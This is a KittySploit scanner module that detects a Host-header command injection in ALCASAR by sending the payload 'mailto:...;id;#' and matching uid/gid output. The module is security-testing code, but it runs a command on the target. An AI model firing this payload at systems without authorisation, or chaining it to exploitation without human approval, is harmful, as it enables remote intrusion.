ALCASAR - Host Header RCE Detection
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""ALCASAR Host-header command injection."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'ALCASAR - Host Header RCE Detection',
'description': (
'Detects ALCASAR RCE by injecting mailto:...;id;# into the Host header '
'on /alcasar/index.php.'
),
'author': ['KittySploit Team'],
'severity': 'critical',
'tags': [
'web', 'scanner', 'alcasar', 'rce', 'cmdi', 'unauth', 'vuln',
],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 2,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.4,
'value': 0.9,
'requires': {
'min_endpoints': 0, 'min_params': 0,
'tech_hints_any': [], 'tech_hints_all': [],
'specializations_any': [], 'risk_signals_any': [],
'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
'confidence_min': {}, 'confidence_min_any': {},
'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [{'capability': 'rce', 'from_detail': ''}],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['exploits/linux/http/alcasar_host_rce'],
},
},
'references': [
'https://www.exploit-db.com/exploits/34866',
],
}
def run(self):
for base in ('/alcasar', ''):
probe = self.http_request(method='GET', path=f'{base}/index.php', allow_redirects=False)
if not probe or 'ALCASAR' not in (probe.text or ''):
continue
token = self.random_text(6)
# Host header injection as in NASL
host_inj = f'mailto:{token}@ks.org;id;#'
r = self.http_request(
method='GET',
path=f'{base}/index.php',
headers={'Host': host_inj},
allow_redirects=False,
)
if r and re.search(r'uid=\d+.*gid=\d+', r.text or ''):
self.set_info(
severity='critical',
reason='ALCASAR Host-header RCE',
path=f'{base}/index.php',
)
return True
return False
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